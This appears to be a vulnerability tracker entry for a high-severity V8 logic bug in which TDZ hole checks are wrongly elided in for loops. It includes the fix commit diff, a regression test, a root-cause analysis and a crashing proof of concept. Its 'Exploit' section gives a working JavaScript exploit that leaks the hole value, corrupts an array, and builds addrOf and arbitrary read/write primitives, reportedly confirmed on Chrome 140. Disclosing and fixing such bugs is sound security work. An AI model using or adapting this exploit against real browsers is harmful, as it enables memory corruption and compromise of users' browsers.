Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in V8
DescriptionInappropriate implementation in V8
ComponentV8
Bug ClassLogic Error
Tracker450618029
Fix commit1f5fbf682408 (v8/v8) +34/-2
CISA KEVNot listed
CreditedAorui Zhang
Disclosed2025-10-28

Changed Functions

FunctionChangeNotes
for modified
loop_builder_
src/interpreter/bytecode-generator.cc
modified
merge_elider_
src/interpreter/bytecode-generator.cc
modified
for
test/message/fail/for-of-uninitialized.js
modified
for
test/message/fail/for-of-uninitialized.out
modified

Files Changed

  • src/interpreter/bytecode-generator.cc
  • test/message/fail/for-of-uninitialized.js
  • test/message/fail/for-of-uninitialized.out
From 1f5fbf68240881514b88112d13c146facdb60244 Mon Sep 17 00:00:00 2001
From: Toon Verwaest <verwaest@chromium.org>
Date: Fri, 10 Oct 2025 16:48:24 +0200
Subject: [PATCH] [interpreter] Merge hole elision info on continue

for loops that are structured

  for (start; cond; next) { body }

currently have a single scope for

  body
  next

but that's wrong, since body isn't guaranteed to run to the end before
running next. There might be a `continue`. This considers `body` to be
"branchy" with any continue merging before next, as well as the body
end itself.

Bug: 450618029
Change-Id: I0156e1c02eeafad880bd324f1f5441023d53139d
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7030683
Auto-Submit: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Reviewed-by: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#103064}
---

diff --git a/src/interpreter/bytecode-generator.cc b/src/interpreter/bytecode-generator.cc
index 37faf63..6d44462 100644
--- a/src/interpreter/bytecode-generator.cc
+++ b/src/interpreter/bytecode-generator.cc
@@ -589,7 +589,10 @@
                            LoopBuilder* loop_builder)
       : ControlScope(generator),
         statement_(statement),
-        loop_builder_(loop_builder) {}
+        loop_builder_(loop_builder),
+        merge_elider_(generator) {}
+
+  HoleCheckElisionMergeScope& merge_elider() { return merge_elider_; }
 
  protected:
   bool Execute(Command command, Statement* statement,
@@ -601,6 +604,7 @@
         loop_builder_->Break();
         return true;
       case CMD_CONTINUE:
+        merge_elider_.MergeBranch(generator());
         PopContextToExpectedDepth();
         loop_builder_->Continue();
         return true;
@@ -615,6 +619,7 @@
  private:
   Statement* statement_;
   LoopBuilder* loop_builder_;
+  HoleCheckElisionMergeScope merge_elider_;
 };
 
 // Scoped class for enabling 'throw' in try-catch constructs.
@@ -3119,7 +3124,12 @@
                                            LoopBuilder* loop_builder) {
   loop_builder->LoopBody();
   ControlScopeForIteration execution_control(this, stmt, loop_builder);
-  Visit(stmt->body());
+  {
+    HoleCheckElisionMergeScope::Branch branch_elider(
+        execution_control.merge_elider());
+    Visit(stmt->body());
+  }
+  execution_control.merge_elider().Merge();
   loop_builder->BindContinueTarget();
 }
 
diff --git a/test/message/fail/for-of-uninitialized.js b/test/message/fail/for-of-uninitialized.js
new file mode 100644
index 0000000..d695582
--- /dev/null
+++ b/test/message/fail/for-of-uninitialized.js
@@ -0,0 +1,15 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+function test() {
+    for (var i = 0; i < 1; y) {
+        if (i == 0)
+            continue;
+        y;
+
+    }
+    let y;
+}
+
+test();
diff --git a/test/message/fail/for-of-uninitialized.out b/test/message/fail/for-of-uninitialized.out
new file mode 100644
index 0000000..f488b05
--- /dev/null
+++ b/test/message/fail/for-of-uninitialized.out
@@ -0,0 +1,7 @@
+*%(basename)s:6: ReferenceError: Cannot access 'y' before initialization
+    for (var i = 0; i < 1; y) {
+                           ^
+ReferenceError: Cannot access 'y' before initialization
+    at test (*%(basename)s:6:28)
+    at *%(basename)s:15:1
+
Loading diff…

Original Bug Report

reported by ry...@gmail.com

TDZ check elision leading to hole leak

Summary

Hole checks can be incorrectly elided when processing a for statement, potentially resulting in hole leak and type confusion.

RCA

When handling for statements, the bytecode generator follows a specific dominator order in which it assumes BODY dominates NEXT, so they share the same elision scope. However, this is not always the case for statements in BODY and NEXT.

  // C-style for loops' textual order differs from dominator order.
  //
  // for (INIT; TEST; NEXT) BODY
  // REST
  //
  //   has the dominator order of
  //
  // INIT dominates TEST dominates BODY dominates NEXT

As demonstrated in the code at BytecodeGenerator::VisitForStatement, both BODY and NEXT reside within the same elision scope. For example, if a variable y is initialized in BODY and a CONTINUE statement exists prior to its initialization, y will be incorrectly marked as initialized. Consequently, when y is used in the NEXT statement, the hole check will be improperly elided in NEXT before usage, leaking hole values into the JavaScript scope.

  HoleCheckElisionScope elider(this);
  VisitIterationBody(stmt, &loop_builder);
  if (stmt->next() != nullptr) {
    builder()->SetStatementPosition(stmt->next());
    Visit(stmt->next());
  }

POC

The following PoC was tested against the latest commit fed47445bbdd1a69b70f2b93a761c62c1e0f769c at the time of reporting, using the pre-compiled debug binary from gs://v8-asan/mac-debug/d8-asan-mac-debug-v8-component-103041.zip.

function use(x) {
    % DebugPrint(x);
    let map = new Map();
    map.delete(x);
}
function pwn() {
    for (var i = 0; i < 1; use(y)) {
        if (i == 0)
            continue;
        y;

    }
    let y;
}

pwn();

output:

DebugPrint: 0x7900020001: [Hole] in ReadOnlySpace
  <the_hole_value>
0x7900000745: [Map] in ReadOnlySpace
 - map: 0x007900000475 <MetaMap (0x00790000002d <null>)>
 - type: HOLE_TYPE
 - instance size: 4
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x007900000011 <undefined>
 - prototype_validity_cell: 0
 - instance descriptors (own) #0: 0x0079000007e5 <DescriptorArray[0]>
 - prototype: 0x00790000002d <null>
 - constructor: 0x00790000002d <null>
 - dependent code: 0x0079000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0



#
# Fatal error in ../../src/objects/objects-inl.h, line 2073
# Debug check failed: instance_type != HOLE_TYPE (HOLE_TYPE (272) vs. HOLE_TYPE (272)).
#
#
#
#FailureMessage Object: 0x12f477c60
==== C stack trace ===============================

    0   d8                                  0x00000001097ea6d3 v8::base::debug::StackTrace::StackTrace() + 19
    1   d8                                  0x0000000109800d91 v8::platform::(anonymous namespace)::PrintStackTrace() + 305
    2   d8                                  0x00000001097b384a V8_Fatal(char const*, int, char const*, ...) + 666
    3   d8                                  0x00000001097b2a2f v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
    4   d8                                  0x0000000100c1bc0f v8::internal::Object::GetSimpleHash(v8::internal::Tagged<v8::internal::Object>) + 2959
    5   d8                                  0x0000000100b86280 v8::internal::Object::GetHash(v8::internal::Tagged<v8::internal::Object>) + 192
    6   d8                                  0x0000000102dcf759 v8::internal::OrderedHashMap::GetHash(v8::internal::Isolate*, unsigned long) + 185
    7   ???                                 0x000000018d17281b 0x0 + 6662072347
    8   ???                                 0x000000018cc50685 0x0 + 6656689797
    9   ???                                 0x000000018cc50685 0x0 + 6656689797
[1]    99221 trace trap  ./d8 --allow-natives-syntax poc.js

Exploit

Vulnerability exploitation is possible through existing techniques, as demonstrated in CVE-2025-6554, which was resolved by commit 869dc4afa04b792da08e7a6e01d4981b4118c894.

The following script demonstrates the ability to perform arbitrary read and write operations within the sandbox, tested and confirmed to work on both the parent commit 9ba45bdfdd8 and the latest Chrome Extended Stable version 140.0.7339.240.

class Helpers {
  constructor() {
    this.buf = new ArrayBuffer(8);
    this.dv = new DataView(this.buf);
    this.u8 = new Uint8Array(this.buf);
    this.u32 = new Uint32Array(this.buf);
    this.u64 = new BigUint64Array(this.buf);
    this.f32 = new Float32Array(this.buf);
    this.f64 = new Float64Array(this.buf);

    this.roots = new Array(0x30000);
    this.index = 0;
  }

  pair_i32_to_f64(p1, p2) {
    this.u32[0] = p1;
    this.u32[1] = p2;
    return this.f64[0];
  }

  i64tof64(i) {
    this.u64[0] = i;
    return this.f64[0];
  }

  f64toi64(f) {
    this.f64[0] = f;
    return this.u64[0];
  }

  set_i64(i) {
    this.u64[0] = i;
  }

  set_l(i) {
    this.u32[0] = i;
  }

  set_h(i) {
    this.u32[1] = i;
  }

  get_i64() {
    return this.u64[0];
  }

  ftoil(f) {
    this.f64[0] = f;
    return this.u32[0];
  }

  ftoih(f) {
    this.f64[0] = f;
    return this.u32[1];
  }

  add_ref(object) {
    this.roots[this.index++] = object;
  }

  mark_sweep_gc() {
    new ArrayBuffer(0x7fe00000);
  }

  scavenge_gc() {
    for (var i = 0; i < 8; i++) {
      // fill up new space external backing store bytes
      this.add_ref(new ArrayBuffer(0x200000));
    }
    this.add_ref(new ArrayBuffer(8));
  }

  hex(i) {
    return i.toString(16).padStart(16, "0");
  }

  breakpoint() {
    this.buf.slice();
  }
}

var helper = new Helpers();

helper.mark_sweep_gc();
helper.mark_sweep_gc();

function pwn(trigger) {
  var hole;

  for (var i = 0; i < 1; hole = y, i++) {
    if (i == 0) continue;
    y;
  }
  let y;

  let o = {};
  o.s = trigger ? hole : "not the hole";
  var s = 2 - (Math.sign(o.s.length) + 1);
  var i = 2 * ((5 - (s + 4)) >> 1) + 2;
  let idx = i * 200;

  let arr = new Array(8);
  let flt_arr = [1.1];
  let obj_arr = [flt_arr, flt_arr];
  arr[0] = 13.37;

  arr[idx] = 13.37;
  return [arr, flt_arr, obj_arr];
}

for (var i = 0; i < 0x100000; i++) {
  pwn(false);
  pwn(false);
  pwn(false);
  pwn(false);
}
let [corrupted, flt_arr, obj_arr] = pwn(true);

function addrOf(obj) {
  obj_arr[0] = obj;
  return helper.ftoil(corrupted[15]);
}

function aar(addr) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  return flt_arr[0];
}

function read8(addr) {
  return helper.f64toi64(aar(addr));
}

function read4(addr) {
  return helper.ftoil(aar(addr));
}

function aaw(addr, value) {
  corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
  flt_arr[0] = value;
}

function write8(addr, value) {
  aaw(addr, helper.i64tof64(value));
}

function write4(addr, value) {
  aaw(addr, helper.pair_i32_to_f64(value, read4(addr + 4)));
}

Bitsect

The issue was introduced by commit 7ce3a5517944fdac428313d80f8cd49474dce667 and enabled by commit 5593d76d69094933d115d496d14aa0c2fde0c266

View on issue tracker